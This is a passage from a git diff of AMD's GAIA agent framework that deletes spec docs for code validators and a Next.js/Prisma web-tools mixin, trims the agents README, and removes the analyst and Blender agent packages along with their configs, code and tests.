{symbol.docstring}") - -# Output: -# function: calculate at line 2 -# Signature: calculate(x: int, y: int) -> int -# Doc: Add two numbers. -# class: Calculator at line 6 -# Doc: Simple calculator. -``` - -### Example 3: Anti-pattern Detection - -```python -from gaia_agent_code.validators import AntipatternChecker -from pathlib import Path - -checker = AntipatternChecker() - -code = ''' -def get_user_by_id_and_name_and_email(id, name, email, status, role, permissions, created_at): - """Function with antipatterns.""" - if status: - if role: - if permissions: - if created_at: - return True - return False -''' - -result = checker.check(Path("example.py"), code) - -print("Errors:") -for error in result["errors"]: - print(f" - {error}") - -print("\nWarnings:") -for warning in result["warnings"]: - print(f" - {warning}") - -# Output: -# Errors: -# - Line 2: Combinatorial function with 3 'and' and 1 'by' -# Warnings: -# - Line 2: Function has 7 parameters -``` - -### Example 4: Integrated Validation - -```python -from gaia_agent_code.validators import SyntaxValidator, ASTAnalyzer, AntipatternChecker -from pathlib import Path - -def validate_code(code: str) -> dict: - """Comprehensive code validation.""" - results = { - "syntax": {}, - "structure": {}, - "quality": {} - } - - # Syntax validation - syntax_validator = SyntaxValidator() - syntax_result = syntax_validator.validate(code) - results["syntax"]["valid"] = syntax_result.is_valid - results["syntax"]["errors"] = syntax_result.errors - - if syntax_result.is_valid: - # AST analysis - ast_analyzer = ASTAnalyzer() - ast_result = ast_analyzer.parse_code(code) - results["structure"]["symbols"] = [ - { - "name": s.name, - "type": s.type, - "line": s.line - } - for s in ast_result.symbols - ] - - # Anti-pattern checking - antipattern_checker = AntipatternChecker() - quality_result = antipattern_checker.check(Path("code.py"), code) - results["quality"]["errors"] = quality_result["errors"] - results["quality"]["warnings"] = quality_result["warnings"] - - return results - -# Usage -code = ''' -def hello(name: str) -> str: - """Say hello.""" - return f"Hello, {name}" -''' - -validation = validate_code(code) -print(validation) -``` - ---- - -*Code Validators Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/web-tools-mixin.mdx b/docs/spec/web-tools-mixin.mdx deleted file mode 100644 index 02d1fda7c..000000000 --- a/docs/spec/web-tools-mixin.mdx +++ /dev/null @@ -1,683 +0,0 @@ ---- -title: "WebToolsMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/web_dev_tools.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/web_dev_tools.py) - - - -**Component:** WebToolsMixin -**Module:** `gaia_agent_code.tools.web_dev_tools` -**Import:** `from gaia_agent_code.tools.web_dev_tools import WebToolsMixin` - ---- - -## Overview - -WebToolsMixin provides comprehensive web development tools for building full-stack applications with Next.js, Prisma, and React. It offers framework-agnostic patterns with schema-aware code generation, modern design systems, and complete CRUD scaffolding. - -**Key Features:** -- Prisma data model management -- Next.js API endpoint generation -- React component generation (server & client) -- Schema-aware payload generation -- Modern dark-theme design system -- Complete CRUD scaffolding -- Testing infrastructure setup -- Configuration management - ---- - -## Core Tool Specifications - -### 1. manage_data_model - -Manage database models with Prisma ORM. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `model_name` (str, required): Model name (PascalCase, e.g., "User") -- `fields` (Dict[str, str], required): Field name to type mapping -- `relationships` (List[Dict], optional): Model relationships - -**Field Types:** -```python -{ - "string": "String", - "text": "String", - "number": "Int", - "float": "Float", - "boolean": "Boolean", - "date": "DateTime", - "datetime": "DateTime", - "timestamp": "DateTime", - "email": "String", - "url": "String" -} -``` - -**Returns:** -```python -{ - "success": bool, - "model_name": str, - "schema_file": str, - "schema_updated": bool, - "prisma_generated": bool, - "note": str, - - # On error - "error": str, - "error_type": "duplicate_model" | "schema_validation_error" | "data_model_error", - "hint": str, - "suggested_fix": str -} -``` - -**Auto-Operations:** -1. Validates schema doesn't have forbidden output field -2. Adds model to schema.prisma -3. Runs `npx prisma format` -4. Runs `npx prisma generate` -5. Verifies Prisma client generation -6. Runs `npx prisma db push` - -**Reserved Fields (auto-generated):** -- `id`: Int @id @default(autoincrement()) -- `createdAt`: DateTime @default(now()) -- `updatedAt`: DateTime @updatedAt - -### 2. manage_api_endpoint - -Manage API endpoints with actual Prisma operations. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `resource_name` (str, required): Resource name (e.g., "todo") -- `operations` (List[str], optional): HTTP methods (default: ["GET", "POST"]) -- `fields` (Dict[str, str], optional): Field definitions (auto-read from schema) -- `enable_pagination` (bool, optional): Add pagination (default: False) - -**Returns:** -```python -{ - "success": bool, - "resource": str, - "operations": List[str], - "files": List[str], - - # On error - "error": str, - "error_type": "api_endpoint_error", - "hint": str -} -``` - -**Generated Files:** -- Collection route: `src/app/api/{resource_plural}/route.ts` -- Item route: `src/app/api/{resource_plural}/[id]/route.ts` (for PATCH/DELETE) - -**Auto-Generated Features:** -- NextResponse imports -- Prisma client singleton import -- Zod validation schemas (for POST/PATCH) -- Try-catch error handling -- Appropriate status codes (200, 201, 400, 500) - -### 3. manage_react_component - -Manage React components with functional implementations. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `component_name` (str, required): Component name -- `component_type` (str, optional): "server" | "client" -- `resource_name` (str, optional): Associated resource -- `fields` (Dict[str, str], optional): Field definitions (auto-read from schema) -- `variant` (str, optional): Component variant - -**Variants:** -- `"list"`: Server component showing all items -- `"form"`: Client component for create/edit -- `"new"`: Client page using form component -- `"detail"`: Client page for view/edit/delete -- `"actions"`: Client component for edit/delete buttons - -**Returns:** -```python -{ - "success": bool, - "component": str, - "type": str, - "file_path": str, - "files": List[str], # Includes generated tests - - # On error - "error": str, - "error_type": "component_error", - "hint": str -} -``` - -**Auto-Generated Tests:** -- Form component: `src/components/__tests__/{Resource}Form.test.tsx` -- Actions component: `src/components/__tests__/{Resource}Actions.test.tsx` - ---- - -## Design System Tools - -### 4. setup_app_styling - -Set up app-wide styling with modern dark theme. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `app_title` (str, optional): App title (default: "My App") -- `app_description` (str, optional): App description - -**Returns:** -```python -{ - "success": bool, - "message": str, - "files": List[str], - "design_system": List[str] -} -``` - -**Generated Files:** -- `src/app/layout.tsx`: Root layout with dark theme -- `src/app/globals.css`: Global styles with design system - -**Design System Classes:** -- `.glass-card`: Glass morphism card effect -- `.btn-primary`: Primary gradient button -- `.btn-secondary`: Secondary button -- `.btn-danger`: Danger/delete button -- `.input-field`: Styled form input -- `.checkbox-modern`: Modern checkbox -- `.page-title`: Gradient title text -- `.link-back`: Back navigation link -- Custom scrollbar styling - -### 5. update_landing_page - -Update landing page with resource links. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `resource_name` (str, required): Resource name -- `description` (str, optional): Link description - -**Returns:** -```python -{ - "success": bool, - "message": str, - "file_path": str, - "resource": str, - "link_path": str, - "already_exists": bool -} -``` - ---- - -## High-Level Scaffolding - -### 6. generate_crud_scaffold - -Generate complete CRUD scaffold with all files. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `resource_name` (str, required): Resource name -- `fields` (Dict[str, str], required): Field definitions - -**Returns:** -```python -{ - "success": bool, - "resource": str, - "generated": { - "api_routes": List[str], - "pages": List[str], - "components": List[str], - "errors": List[str] - }, - "validation": Dict # From validate_crud_completeness -} -``` - -**Generated Structure:** -``` -src/ -├── app/ -│ ├── api/ -│ │ └── {resource_plural}/ -│ │ ├── route.ts (GET list, POST create) -│ │ └── [id]/ -│ │ └── route.ts (GET single, PATCH update, DELETE) -│ └── {resource_plural}/ -│ ├── page.tsx (List page) -│ ├── new/ -│ │ └── page.tsx (Create page) -│ └── [id]/ -│ └── page.tsx (Detail/edit page) -└── components/ - ├── {Resource}Form.tsx (Reusable form) - ├── {Resource}Actions.tsx (Edit/delete buttons) - └── __tests__/ - ├── {Resource}Form.test.tsx - └── {Resource}Actions.test.tsx -``` - -### 7. validate_crud_completeness - -Validate complete CRUD structure exists. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `resource_name` (str, required): Resource name - -**Returns:** -```python -{ - "success": bool, - "complete": bool, - "resource": str, - "model_exists": bool, - "existing_files": Dict[str, List], - "missing_files": Dict[str, List], - "stats": { - "total": int, - "existing": int, - "missing": int - } -} -``` - ---- - -## Testing & Validation Tools - -### 8. setup_nextjs_testing - -Set up Vitest testing infrastructure. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `resource_name` (str, optional): Resource for Prisma mocks - -**Returns:** -```python -{ - "success": bool, - "message": str, - "files": List[str], - "dependencies_installed": List[str], - "scripts_added": Dict[str, str] -} -``` - -**Installed Dependencies:** -- vitest -- @vitejs/plugin-react -- jsdom -- @testing-library/react -- @testing-library/jest-dom -- @testing-library/user-event - -**Generated Files:** -- `vitest.config.ts`: Vitest configuration -- `tests/setup.ts`: Test setup with mocks - -### 9. generate_style_tests - -Generate CSS and styling validation tests. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `resource_name` (str, optional): Resource name - -**Returns:** -```python -{ - "success": bool, - "files": List[str], - "message": str, - "tests_description": List[str] -} -``` - -**Generated Tests:** -- `tests/styles.test.ts`: CSS integrity tests -- `tests/styling/routes.test.ts`: App router structure tests - ---- - -## Configuration Tools - -### 10. manage_web_config - -Manage configuration files. - -**Parameters:** -- `project_dir` (str, required): Project directory -- `config_type` (str, required): "env" | "nextjs" | "tailwind" -- `updates` (Dict[str, Any], required): Configuration updates - -**Returns:** -```python -{ - "success": bool, - "config_type": str, - "file": str, - "updates": Dict -} -``` - -### 11. manage_prisma_client - -Regenerate the Prisma client and keep the project's Prisma bindings in sync -after `manage_data_model` calls. Invoked by the code agent after schema edits -so subsequent CRUD operations see the new types. - -**Parameters:** -- `project_dir` (str, required): Project directory containing the Prisma schema - -**Returns:** -```python -{ - "status": "success", - "project_dir": str, - "generated": bool, - "output": str, # stdout from `prisma generate` -} -``` - ---- - -## Helper Functions - -### read_prisma_model - -Read model definition from Prisma schema (Phase 1 Fix - Issue #885). - -**Parameters:** -- `project_dir` (str): Project directory -- `model_name` (str): Model name - -**Returns:** -```python -{ - "success": bool, - "model_name": str, - "fields": Dict[str, str], - "has_timestamps": bool, - - # On error - "error": str -} -``` - -**Usage:** -```python -model_info = read_prisma_model(project_dir, "Todo") -if model_info["success"]: - fields = model_info["fields"] - # {"title": "String", "completed": "Boolean", ...} -``` - ---- - -## Usage Examples - -### Example 1: Build Complete CRUD App - -```python -from gaia_agent_code import CodeAgent - -agent = CodeAgent() - -# 1. Create data model -model_result = agent.manage_data_model( - project_dir="/path/to/nextjs-app", - model_name="Todo", - fields={ - "title": "string", - "description": "text", - "completed": "boolean" - } -) - -# 2. Generate complete CRUD scaffold -scaffold_result = agent.generate_crud_scaffold( - project_dir="/path/to/nextjs-app", - resource_name="todo", - fields=model_result["fields"] # Auto-read from schema -) - -# 3. Set up styling -style_result = agent.setup_app_styling( - project_dir="/path/to/nextjs-app", - app_title="Todo App", - app_description="Manage your tasks" -) - -# 4. Update landing page -landing_result = agent.update_landing_page( - project_dir="/path/to/nextjs-app", - resource_name="todo", - description="Manage your todos" -) - -# 5. Set up testing -test_result = agent.setup_nextjs_testing( - project_dir="/path/to/nextjs-app", - resource_name="todo" -) - -print("✓ Complete CRUD application created!") -``` - -### Example 2: Incremental Component Development - -```python -# Create data model first -agent.manage_data_model( - project_dir="/path/to/app", - model_name="Product", - fields={ - "name": "string", - "price": "float", - "inStock": "boolean" - } -) - -# Create API endpoints -agent.manage_api_endpoint( - project_dir="/path/to/app", - resource_name="product", - operations=["GET", "POST", "PATCH", "DELETE"] -) - -# Create components individually -agent.manage_react_component( - project_dir="/path/to/app", - component_name="ProductList", - resource_name="product", - variant="list" -) - -agent.manage_react_component( - project_dir="/path/to/app", - component_name="ProductForm", - resource_name="product", - variant="form" -) - -# Validate completeness -validation = agent.validate_crud_completeness( - project_dir="/path/to/app", - resource_name="product" -) - -if not validation["complete"]: - print("Missing files:") - for missing in validation["missing_files"]["pages"]: - print(f" - {missing['path']}") -``` - -### Example 3: Schema-Aware Development - -```python -# Models automatically infer fields from schema -# No need to manually specify fields! - -# Create model -agent.manage_data_model( - project_dir="/path/to/app", - model_name="Post", - fields={ - "title": "string", - "content": "text", - "published": "boolean" - } -) - -# API endpoint auto-reads fields from schema -api_result = agent.manage_api_endpoint( - project_dir="/path/to/app", - resource_name="post", - operations=["GET", "POST", "PATCH", "DELETE"] - # fields parameter is optional - auto-read from schema! -) - -# Components also auto-read fields -form_result = agent.manage_react_component( - project_dir="/path/to/app", - component_name="PostForm", - resource_name="post", - variant="form" - # fields parameter is optional - auto-read from schema! -) - -print("✓ All components generated with schema-inferred fields") -``` - ---- - -## Dependencies - -```python -import logging -import re -import subprocess -from pathlib import Path -from typing import Any, Dict, List, Optional - -from gaia.agents.base.tools import tool -from gaia_agent_code.prompts.code_patterns import ( - # API patterns - API_ROUTE_GET, - API_ROUTE_POST, - API_ROUTE_DYNAMIC_GET, - API_ROUTE_DYNAMIC_PATCH, - API_ROUTE_DYNAMIC_DELETE, - # Component patterns - SERVER_COMPONENT_LIST, - CLIENT_COMPONENT_FORM, - # Design system - APP_LAYOUT, - APP_GLOBALS_CSS, - # Helper functions - pluralize, - generate_zod_schema, - generate_form_field, - generate_field_display, -) -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_web_tools.py` - -```python -def test_manage_data_model(tmp_project): - """Test Prisma model creation.""" - result = manage_data_model( - tmp_project, - "Todo", - {"title": "string", "completed": "boolean"} - ) - - assert result["success"] - assert result["prisma_generated"] - - # Verify schema file - schema = Path(tmp_project) / "prisma" / "schema.prisma" - content = schema.read_text() - assert "model Todo" in content - -def test_manage_api_endpoint(tmp_project): - """Test API endpoint generation.""" - # Create model first - manage_data_model(tmp_project, "Todo", {"title": "string"}) - - # Create API endpoint - result = manage_api_endpoint( - tmp_project, - "todo", - ["GET", "POST", "PATCH", "DELETE"] - ) - - assert result["success"] - assert len(result["files"]) == 2 # Collection and item routes - -def test_schema_aware_generation(tmp_project): - """Test schema-aware field inference.""" - # Create model - manage_data_model( - tmp_project, - "Product", - {"name": "string", "price": "float"} - ) - - # Generate API without specifying fields - result = manage_api_endpoint( - tmp_project, - "product", - ["POST"] - # fields not specified - should auto-read - ) - - assert result["success"] - - # Verify validation schema was generated - route_file = Path(tmp_project) / "src/app/api/products/route.ts" - content = route_file.read_text() - assert "z.object" in content - assert "name" in content - assert "price" in content -``` - ---- - -*WebToolsMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/hub/agents/README.md b/hub/agents/README.md index 1281a95f3..136495ac5 100644 --- a/hub/agents/README.md +++ b/hub/agents/README.md @@ -6,6 +6,14 @@ with a runtime subdir inside — `hub/agents//python/` for the Python wheel, build. Each package depends on the published `amd-gaia` framework — third-party contributors follow the exact same pattern AMD uses for its own agents. +## What ships here + +Three packages are products: [`gaia/`](gaia/python/) (the flagship), +[`chat/`](chat/python/) (the base class it composes), and [`email/`](email/python/). +Everything else in this directory is a teaching example, not a catalog agent — +per-task agents were collapsed into skills the flagship loads on demand, so a new +capability is a `SKILL.md` in [`hub/skills/`](../skills/), not a new package. + ## New here? Start with the examples These reference agents are intentionally minimal, heavily commented, and built @@ -16,7 +24,7 @@ order — each adds one concept: |---------|---------|-------| | [`hello-world/`](hello-world/python/) | The smallest possible agent: subclass `Agent`, set a system prompt. | 0 | | [`word-count/`](word-count/python/) | Registering a tool with the `@tool` decorator. | 1 | -| [`doc-search/`](doc-search/python/) | Composing a framework mixin (`RAGToolsMixin`) for document Q&A. | 10 | +| [`connectors-demo/`](connectors-demo/python/) | Reaching an external service through a connector grant. | 4 | Each example's `README.md` explains the pattern; its `tests/` suite mocks the LLM so it runs with no Lemonade server. diff --git a/hub/agents/analyst/python/README.md b/hub/agents/analyst/python/README.md deleted file mode 100644 index bb8b2de66..000000000 --- a/hub/agents/analyst/python/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# gaia-agent-analyst - -Standalone GAIA agent — structured data analysis (CSV/Excel, scratchpad SQL). Depends on the published -`amd-gaia` framework wheel. - -## Install - -```bash -pip install gaia-agent-analyst # from PyPI (once published) -pip install -e hub/agents/analyst/python # editable, for development -``` - -Installing registers the `data` agent via the `gaia.agent` entry-point -group; the GAIA registry discovers it automatically. - -## Develop / test - -```bash -pip install -e ".[test]" -pytest hub/agents/analyst/python/tests/ -x -``` diff --git a/hub/agents/analyst/python/gaia-agent.yaml b/hub/agents/analyst/python/gaia-agent.yaml deleted file mode 100644 index f7fad90a2..000000000 --- a/hub/agents/analyst/python/gaia-agent.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: data -name: Analyst Agent -version: 0.1.0 -description: "GAIA analyst agent — structured data analysis (CSV/Excel, scratchpad SQL)" -author: AMD -license: MIT - -category: productivity -tags: [data, csv, excel, analysis] -icon: table -tools_count: 10 - -language: python -min_gaia_version: "0.20.0" -models: [Gemma-4-E4B-it-GGUF] - -python: - entry_module: gaia_agent_analyst - entry_class: AnalystAgent - dependencies: - - "amd-gaia>=0.20.0" - -requirements: - min_memory_gb: 8 - platforms: [win-x64, linux-x64, darwin-arm64] - -interfaces: - tui: false - cli: true - pipe: true - api_server: true - mcp_server: false diff --git a/hub/agents/analyst/python/gaia_agent_analyst/__init__.py b/hub/agents/analyst/python/gaia_agent_analyst/__init__.py deleted file mode 100644 index 9d8f93e27..000000000 --- a/hub/agents/analyst/python/gaia_agent_analyst/__init__.py +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""GAIA Analyst agent — standalone hub package. - -Registers the ``data`` agent (structured-data analysis) into the GAIA registry -via the ``gaia.agent`` entry-point group. Public names are re-exported lazily -so registry discovery stays cheap. -""" - -__all__ = ["build_registration"] - -__version__ = "0.1.0" - -_LAZY = { - "AnalystAgent": "agent", - "AnalystAgentConfig": "agent", -} - - -def __getattr__(name): - if name in _LAZY: - import importlib - - module = importlib.import_module(f"gaia_agent_analyst.{_LAZY[name]}") - return getattr(module, name) - raise AttributeError(f"module {__name__!r} has no attribute {name!r}") - - -def build_registration(): - """Return the :class:`AgentRegistration` for the ``data`` (analyst) agent.""" - import dataclasses - - from gaia.agents.registry import ( - AgentRegistration, - _select_tier_model, - _wrap_factory_with_namespaced_id, - build_model_tiers, - ) - - tiers = build_model_tiers("Full (~35B)") - - def _factory(**kwargs): - tier = kwargs.pop("model_tier", None) - if tier: - preset = _select_tier_model(tiers, tier) - if preset: - kwargs.setdefault("model_id", preset) - - from gaia_agent_analyst.agent import AnalystAgent, AnalystAgentConfig - - valid_fields = {f.name for f in dataclasses.fields(AnalystAgentConfig)} - config = AnalystAgentConfig( - **{k: v for k, v in kwargs.items() if k in valid_fields} - ) - return AnalystAgent(config=config) - - factory = _wrap_factory_with_namespaced_id(_factory, "installed:data") - - return AgentRegistration( - id="data", - name="Analyst Agent", - description="Data analysis — CSV, Excel, structured queries and tables", - source="installed", - conversation_starters=[ - "Analyze my spending data", - "What are the trends in this CSV?", - "Who is the top performer?", - ], - factory=factory, - agent_dir=None, - models=[], - required_connections=[], - namespaced_agent_id="installed:data", - category="productivity", - tags=["data", "csv", "excel", "analysis"], - icon="table", - tools_count=10, - model_tiers=tiers, - ) diff --git a/hub/agents/analyst/python/gaia_agent_analyst/agent.py b/hub/agents/analyst/python/gaia_agent_analyst/agent.py deleted file mode 100644 index d86802cdd..000000000 --- a/hub/agents/analyst/python/gaia_agent_analyst/agent.py +++ /dev/null @@ -1,91 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Structured-data analysis GAIA agent.""" - -from dataclasses import dataclass, field -from typing import List, Optional - -from gaia.agents.base.agent import Agent, default_max_steps -from gaia.agents.base.tools import _TOOL_REGISTRY -from gaia.agents.tools import ScratchpadToolsMixin -from gaia.mcp.mixin import MCPClientMixin -from gaia.scratchpad.service import ScratchpadService -from gaia.security import PathValidator - - -@dataclass -class AnalystAgentConfig: - use_claude: bool = False - use_chatgpt: bool = False - claude_model: str = "claude-sonnet-4-20250514" - base_url: Optional[str] = None - model_id: Optional[str] = None - max_steps: int = field(default_factory=default_max_steps) - streaming: bool = False - debug: bool = False - debug_prompts: bool = False - show_prompts: bool = False - show_stats: bool = False - silent_mode: bool = False - output_dir: Optional[str] = None - allowed_paths: Optional[List[str]] = None - scratchpad_db_path: str = "~/.gaia/scratchpad.db" - - -class AnalystAgent( - Agent, - ScratchpadToolsMixin, - MCPClientMixin, -): - """Agent focused on structured data extraction and SQL analysis.""" - - def __init__(self, config: Optional[AnalystAgentConfig] = None): - if config is None: - config = AnalystAgentConfig() - self.config = config - self.path_validator = PathValidator( - config.allowed_paths, - on_prompt_start=lambda: self.console.pause_progress(), # pylint: disable=unnecessary-lambda - on_prompt_end=lambda: self.console.resume_progress(), # pylint: disable=unnecessary-lambda - ) - self._path_validator = self.path_validator - self._scratchpad = ScratchpadService(db_path=config.scratchpad_db_path) - - # Agent has no MCP servers; the UI auto-calls get_mcp_status_report() - # on every chat send and MCPClientMixin.__init__ never runs because - # Agent.__init__ doesn't chain super(). - self._mcp_manager = None - - super().__init__( - use_claude=config.use_claude, - use_chatgpt=config.use_chatgpt, - claude_model=config.claude_model, - base_url=config.base_url, - model_id=config.model_id, - max_steps=config.max_steps, - debug_prompts=config.debug_prompts, - show_prompts=config.show_prompts, - output_dir=config.output_dir, - streaming=config.streaming, - show_stats=config.show_stats, - silent_mode=config.silent_mode, - debug=config.debug, - skip_lemonade=True, - ) - - def _register_tools(self) -> None: - _TOOL_REGISTRY.clear() - self.register_scratchpad_tools() - self._snapshot_tools() - - def _get_system_prompt(self) -> str: - return ( - "You are AnalystAgent, a structured data analysis specialist. Load " - "structured rows into scratchpad tables with insert_data, and use " - "query_data for calculations. Never do arithmetic from memory when " - "the scratchpad can compute it." - ) - - def close(self) -> None: - if self._scratchpad: - self._scratchpad.close_db() diff --git a/hub/agents/analyst/python/pyproject.toml b/hub/agents/analyst/python/pyproject.toml deleted file mode 100644 index 08f4a1faa..000000000 --- a/hub/agents/analyst/python/pyproject.toml +++ /dev/null @@ -1,22 +0,0 @@ -[build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" - -[project] -name = "gaia-agent-analyst" -version = "0.1.0" -description = "GAIA analyst agent — structured data analysis (CSV/Excel, scratchpad SQL)" -authors = [{ name = "AMD" }] -license = { text = "MIT" } -readme = "README.md" -requires-python = ">=3.10" -dependencies = ["amd-gaia>=0.20.0"] - -[project.entry-points."gaia.agent"] -data = "gaia_agent_analyst:build_registration" - -[project.optional-dependencies] -test = ["pytest"] - -[tool.setuptools.packages.find] -include = ["gaia_agent_analyst*"] diff --git a/hub/agents/analyst/python/tests/test_analyst_agent.py b/hub/agents/analyst/python/tests/test_analyst_agent.py deleted file mode 100644 index db40dcf88..000000000 --- a/hub/agents/analyst/python/tests/test_analyst_agent.py +++ /dev/null @@ -1,82 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -"""Unit tests for AnalystAgent (gaia_agent_analyst). - -AnalystAgent isolates its tool set via ``_TOOL_REGISTRY.clear()`` + -``_snapshot_tools()``, so its instance registry contains exactly the -scratchpad tools — these tests assert that exact set. The scratchpad -DB is pointed at a temp path to avoid touching the user's home dir. -""" - -import unittest - -from gaia.testing import temp_directory - - -class TestAnalystAgentImport(unittest.TestCase): - def test_can_import(self): - from gaia_agent_analyst import AnalystAgent, AnalystAgentConfig - - self.assertIsNotNone(AnalystAgent) - self.assertIsNotNone(AnalystAgentConfig) - - -class TestAnalystAgentConfig(unittest.TestCase): - def test_defaults(self): - from gaia_agent_analyst import AnalystAgentConfig - - from gaia.agents.base.agent import default_max_steps - - cfg = AnalystAgentConfig() - self.assertFalse(cfg.use_claude) - self.assertIsNone(cfg.model_id) - self.assertEqual(cfg.max_steps, default_max_steps()) - self.assertTrue(cfg.scratchpad_db_path) - - -class TestAnalystAgentInit(unittest.TestCase): - def _make(self, tmp_dir): - from gaia_agent_analyst import AnalystAgent, AnalystAgentConfig - - cfg = AnalystAgentConfig(scratchpad_db_path=str(tmp_dir / "scratchpad.db")) - return AnalystAgent(cfg) - - def test_constructs_without_backend(self): - with temp_directory() as tmp_dir: - agent = self._make(tmp_dir) - try: - self.assertIsNotNone(agent) - finally: - agent.close() - - def test_system_prompt_mentions_scratchpad(self): - with temp_directory() as tmp_dir: - agent = self._make(tmp_dir) - try: - prompt = agent._get_system_prompt() - self.assertIn("AnalystAgent", prompt) - self.assertIn("scratchpad", prompt.lower()) - finally: - agent.close() - - def test_isolated_tool_set_is_scratchpad_only(self): - with temp_directory() as tmp_dir: - agent = self._make(tmp_dir) - try: - self.assertEqual( - set(agent._tools_registry), - { - "create_table", - "drop_table", - "insert_data", - "list_tables", - "query_data", - }, - ) - finally: - agent.close() - - -if __name__ == "__main__": - unittest.main() diff --git a/hub/agents/blender/python/README.md b/hub/agents/blender/python/README.md deleted file mode 100644 index 889754393..000000000 --- a/hub/agents/blender/python/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# gaia-agent-blender - -Standalone GAIA agent for 3D scene automation in Blender via MCP. Depends on the -published `amd-gaia` framework wheel and a running Blender MCP server. - -## Install - -```bash -pip install gaia-agent-blender # from PyPI (once published) -pip install -e hub/agents/blender/python # editable, for development -``` - -Installing registers the `blender` agent via the `gaia.agent` entry-point -group; the GAIA registry discovers it automatically. - -## Use - -```bash -gaia blender -``` - -Or programmatically: - -```python -from gaia.agents.registry import AgentRegistry - -registry = AgentRegistry() -registry.discover() -agent = registry.create_agent("blender") -``` - -## Develop / test - -```bash -pip install -e ".[test]" -pytest hub/agents/blender/python/tests/ -x -``` diff --git a/hub/agents/blender/python/gaia-agent.yaml b/hub/agents/blender/python/gaia-agent.yaml deleted file mode 100644 index e76c3ae31..000000000 --- a/hub/agents/blender/python/gaia-agent.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: blender -name: Blender -version: 0.1.0 -description: "3D scene automation for Blender via MCP" -author: AMD -license: MIT - -category: creative -tags: [blender, 3d, mcp] -icon: box -tools_count: 0 - -language: python -min_gaia_version: "0.20.0" -models: [Gemma-4-E4B-it-GGUF] - -python: - entry_module: gaia_agent_blender - entry_class: BlenderAgent - dependencies: - - "amd-gaia>=0.20.0" - -requirements: - min_memory_gb: 8 - platforms: [win-x64, linux-x64, darwin-arm64] - -interfaces: - tui: false - cli: true - pipe: true - api_server: true - mcp_server: true diff --git a/hub/agents/blender/python/gaia_agent_blender/__init__.py b/hub/agents/blender/python/gaia_agent_blender/__init__.py deleted file mode 100644 index aff4bdb8b..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/__init__.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""GAIA Blender agent — standalone hub package. - -Installs the ``blender`` agent into the GAIA registry via the ``gaia.agent`` -entry-point group (see ``pyproject.toml``). The framework's -``AgentRegistry._discover_installed_agents`` calls :func:`build_registration` -at discovery time; the agent module itself is imported lazily inside the -factory so discovery stays cheap. -""" - -# ``BlenderAgent`` is re-exported lazily via ``__getattr__`` (below) so that -# importing this package at registry-discovery time does not pull in the heavy -# agent module; it is therefore intentionally absent from ``__all__``. -__all__ = ["build_registration"] - -__version__ = "0.1.0" - - -def __getattr__(name): - # Lazy re-export so ``import gaia_agent_blender`` (e.g. at registry - # discovery) does not pull in the heavy agent module + its SDK deps. - if name == "BlenderAgent": - from gaia_agent_blender.agent import BlenderAgent - - return BlenderAgent - raise AttributeError(f"module {__name__!r} has no attribute {name!r}") - - -def build_registration(): - """Return the :class:`AgentRegistration` for the blender agent.""" - from gaia.agents.registry import AgentRegistration, class_factory - - def factory(**kwargs): - from gaia_agent_blender.agent import BlenderAgent - - return class_factory(BlenderAgent)(**kwargs) - - return AgentRegistration( - id="blender", - name="Blender", - description="3D scene automation for Blender via MCP", - source="installed", - conversation_starters=[ - "Create a red cube", - "Render the current scene", - ], - factory=factory, - agent_dir=None, - models=["Gemma-4-E4B-it-GGUF"], - namespaced_agent_id="installed:blender", - category="creative", - tags=["blender", "3d", "mcp"], - icon="box", - tools_count=0, - ) diff --git a/hub/agents/blender/python/gaia_agent_blender/agent.py b/hub/agents/blender/python/gaia_agent_blender/agent.py deleted file mode 100644 index e3fd78fc6..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/agent.py +++ /dev/null @@ -1,536 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Blender-specific agent for creating and modifying 3D scenes. -""" - -import logging -from typing import Any, Dict, List, Optional - -from gaia_agent_blender.core.scene import generate_scene_diagnosis_code - -from gaia.agents.base.agent import Agent -from gaia.agents.base.console import AgentConsole -from gaia.agents.base.tools import tool -from gaia.mcp.blender_mcp_client import MCPClient - -# Set up logging -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger(__name__) - - -class BlenderAgent(Agent): - """ - Blender-specific agent focused on 3D scene creation and modification. - Inherits core functionality from the base Agent class. - """ - - def __init__( - self, - mcp: Optional[MCPClient] = None, - model_id: str = None, - base_url: str = "http://localhost:13305/api/v1", - max_steps: Optional[int] = None, - debug_prompts: bool = False, - output_dir: str = None, - streaming: bool = False, - show_stats: bool = True, - ): - """ - Initialize the BlenderAgent with MCP client and LLM client. - - Args: - mcp: An optional pre-configured MCP client, otherwise a new one will be created - model_id: The ID of the model to use with 